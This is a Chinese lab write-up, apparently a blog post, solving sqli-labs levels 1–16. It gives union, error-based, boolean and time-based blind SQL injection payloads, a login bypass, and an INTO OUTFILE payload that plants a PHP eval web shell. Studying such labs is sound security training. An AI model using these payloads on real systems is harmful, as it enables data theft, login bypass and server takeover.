sql-lab注入分析

sql-lab注入

GET注入

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

导致错误:get注入单引号未过滤

  1. List item
    判断是否有注入点
    先输入and 1=1 and 1=2代判断是否是整型注入(因为and 1=1与and 1=2回显的是一样的)
    所以排除整型注入
    在用’进行判断注入
    利用返回的错误类型,判断是什么类型的字符注入
    在这里插入图片描述
    在这里,也可利用引号的数目确认是字符型还是数字类型
    (因为’爆错且错误显示闭合了,说明可能是字符类型,又因为’‘1’’,所以确定了是单字符型注入)
    判断字符类
    注意这里用–+表示的注释
    (典型三类注释 – --+ #)在这里尝试了其他两种发觉均报错(即跟后台的代码有关)在这里插入图片描述
    在这里插入图片描述
    接下来就是常规的注入手段了
    爆当前的数据库
 ' union select 1,2,database()  --+

在这里插入图片描述
爆表

' union select 1,2,table_name from information_schema.TABLES where table_schema='security'  --+

在这里插入图片描述

 ' union select 1,2,group_concat(column_name) from information_schema.COLUMNS//注即group_concat()即返回的是拼接了的参数状况特点

在这里插入图片描述
好第一关就玩到这里,剩下爆其他的留给大家去玩

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

首先判断是字符类型还是整型
还是和第一关一样,加’,发觉回显的是’’
在这里插入图片描述
如 利用and 1=2进行构造可回显的页面即可进行注入了(其余注入与第一题同,这里就不演示了)
在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

老规矩先判断是不是整型注入,发觉and 1=1与and 1=2回显的结果同

于是’注入开始
发觉出现这种页面
在这里插入图片描述
即分析出闭合的方法为’)‘模式
故要构造使其配对进而仅溢出一个’
所以这里注入为
进而使)’)配对,溢出’
在这里插入图片描述
然后剩下的注入模式同第一题

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型变异注入)

老规矩
先判断是否是整型注入
然后判断是否是单引号字符型注入
发觉无区别(因此排除单引号注入)
在这里插入图片描述
又考虑双引号注入
"
发觉又是上题一样的变异,于是构造溢出就好了
在这里插入图片描述
剩下的方式与第一题模式相同

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

老规矩,先判断是什么类型的
经过判断后发觉是单引号的字符型注入
但不具有显位
如图
在这里插入图片描述
遇到这类确定了有注入点,但没有报错,
然后一般考虑三种情况
报错型注入,布尔盲注,时间延迟注入,(就是通过给你显示延迟表示你输入的对不对的一种形式)

①方法1(利用报错注入与时间延迟注入)

对于此类典型就是if语句构造条件,sleep()进行回显进而判断是否满足条件获取

爆库长的payload

?id=1' and if(length(database())=8,sleep(5),1)--+

暴库名

?id=1' and if(left(database(),1)='s',sleep(5),1)--+//即截取database的字符数进行对比判断是否是进而进行延迟注入状况特点

爆表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

爆值

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

②布尔型注入(特点:正确会回显,错误没有回显)
加1的值进行判断即可

' and left((select database()),1)>'t' --+//即利用二分法判断值是否对,代确定数据库表与列名类

在这里插入图片描述
如爆库
在这里插入图片描述
爆表名

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users

爆列名

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

最后爆用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

最后对于这几类注入的,个人建议直接sqlmap完事

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

与上一题唯一不一样的是双字符型的,即将单引号改为双引号就好了
在这里插入图片描述

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

排除掉整型注入后,利用’ 进行注入
发觉有错误,但在这里无法判断是什么类型的
于是考虑尝试经典的几个方式
')
‘))
"
")
"))
在这里插入图片描述
最后判断出是’))
在这里插入图片描述
因为这里要写文件进去,所以要获取路径
在这一关想了很多办法都获取不到路径,于是回到第二关去获取了下路径
获取到路径如下
在这里插入图片描述
写命令

ID:1 ')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\Less-7\\tt.php"--+

写入后在用蚁剑或者菜刀连接数据库就好了

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

老规矩测是什么注入
但发觉’ 是这个样子的(对于单引号爆的是其他页面类与and 1=2同理,一样可判断是’字符型注入)
在这里插入图片描述
因为回显的这类界面,因此就考虑 布尔,延时注入
根据三种注入的特性
构造语句进一步判断即可
发觉构造and1=1 回显,and 1=2 不回显
(于是确定下来是布尔型注入)
在这里插入图片描述

然后接下来就疯狂爆字段,爆数据库名
爆数据库方法

?id=1' and left((select database()),1)='s' --+//注意对于布尔注入,因为是利用反馈进行代判断的,所以在布尔注入中用的是and,而不是union

在这里插入图片描述
其他的与第5题同

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

与前面的注入不一样的是这类注入
老规矩先排除整型注入后
然后测试字符型注入
’ 然后惊讶的发觉也没有任何回显
在这里插入图片描述
难道没有注入点?
不会吧不会吧
思考了下这几个特殊注入里面 有个时间盲注 跟这类的回显是一样的
于是考虑测试下是不是基于时间的盲注
在这里插入图片描述
发觉严重的延时
于是又回到了愉快的时间盲注中,方法与第五题的同

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

这次这个是’’ 的时间延时注入,跟上题同,只是把’改成’'就好了

POST注入

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符 型注入)

因为是post注入,所以自己选择直接用burp改包(用习惯了)
然后发觉了一个坑,经过研究后解决了
那就是firefox抓不到localhost的包
最后发觉把localhost改成自己的ip就好了
在这里插入图片描述
然后老规矩
在这里说一句对于post尤其是这类输入框这类注入
一般是很少存在整型注入的
如果你去测,你会发觉结果是这样的
在这里插入图片描述
所以在这里测试后,用’发现是单引号字符型
在这里插入图片描述
方法一:(报错注入)
然后在这里先介绍一种报错注入典型用到的函数
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
例如

 (extractvalue(‘anything’,/x/xx’))

然后在这里说一下,对于post框这类,当存在注入点后
可以试一下可否存储型注入
利用下面的语句判断

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

在这里插入图片描述

即可以考虑利用存储报错型注入方式
爆库

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

接下来同上
然后其实get注入也可以利用这种方式
方法二:(联合注入)

0'union select 1,database()  --+//如代码和基本的注入一样,一定也要给的是错误的页面,然后使其具有反馈,因此这类unmae=0,当然改passwd也行

在这里插入图片描述
这种接下来该怎么注入我就不说了
看到这里的大家应该都会

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

老规矩
先是排除整型,然后’发觉没反应
不会吧不会吧,不会又是布尔或者延时吧
然后试了下 排除了布尔和延时型
在这里插入图片描述
那就只能考虑是报错型了
然后改成常见的语句(在这里说一句,其实一般对于没有反应这种,是先判断是不是存储报错型后再去考虑布尔和延时)
然后"发觉
在这里插入图片描述
然后确定了是"的,但是根据反馈回来的错误发觉是
")类型的(即将其原来的闭合语句溢出出去)
然后联合查询方式代走人

给大家弄一个好玩的
就是在这里通过观察后发觉,可根据报错回来的语句
构造万能密码
但前提账号必须是正确的
如当前的账号 admin
所以可以是admin")#(对于登录类一般用#这个注释符)
万能密码登录成功
在这里插入图片描述

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

先登录
admin/admin登录后得到这个界面
在这里插入图片描述

老规矩判断后
在这里插入图片描述
得到为’)注入
方法1:
因为有报错
所以可以考虑利用报错状况进行注入
因此可以像上题一样联合语句得出
方法2:
也可以直接时间盲注方式解决

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

在排除了整型注入后
用进行注入,发觉没有回旋
于是用"
发觉有报错了
在这里插入图片描述

然后–+注释发觉又没有了
然后考虑在密码处注入后发觉报错的语句状况特点(即看别人的文章学到的,所以相对而言在密码处构造语句更容易爆出注入的漏洞)
在这里插入图片描述
发觉内容被放到了双引号中,意味着注释符不可用
所以这里就要绕过有注释符的注入方式
(意味着联合注入的方法在这题不可行)
这里就直接采用报错型注入方式
在concat语句中进行构造即可

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and "  //语句构造方法 注入符号" and ex() and"

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

输入没有任何的回显,而且也排除了所有字符型报错注入因此考虑时间盲注与布尔型
方法1:时间延迟型

测试代码

uname=admin' and sleep(5) --+

爆数据的代码

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

方法2:布尔型,关于这种怎么用,这里就不说了

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

和上一题差不多
将’改成")怎么判断出来的,前面有关于判断类型的方法
在这里在说一遍,基于’的回显页面和’ --+的回显页面联合判断出是什么类型的注入
在这里插入图片描述

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值